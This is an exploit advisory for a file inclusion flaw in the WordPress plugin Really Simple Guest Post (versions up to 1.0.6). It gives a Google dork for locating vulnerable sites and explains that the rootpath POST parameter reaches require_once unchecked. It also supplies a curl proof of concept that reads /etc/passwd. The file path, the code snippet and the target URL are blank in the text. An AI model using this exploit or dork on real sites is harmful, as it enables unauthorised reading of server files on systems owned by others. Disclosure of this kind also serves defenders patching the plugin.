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Wordpress Really Simple Guest Post File Include

Author: Kuroi'SH , Published: 08-06-2015
# Exploit Title: 
# Google Dork: inurl:"really-simple-guest-post" intitle:"index of"
# Date: 04/06/2015
# Exploit Author: Kuroi'SH
# Software Link: https://wordpress.org/plugins/really-simple-guest-post
# Version: <=1.0.6
# Tested on: Linux

The vulnerable file is called:
simple-guest-post-submit.php and its full path is
The vulnerable code is as follows:
(line 8)
As you can see, the require_once function includes a data based on
user-input without any prior verification.
So, an attacker can exploit this flaw and come directly into the url
and send a post data like: "rootpath=the_file_to_include"

Proof of concept:
curl -X POST -F "rootpath=/etc/passwd" --url
which will print out the content of /etc/passwd file.

Greats to Black Sniper & Moh Ooasiic
by Kuroi'SH

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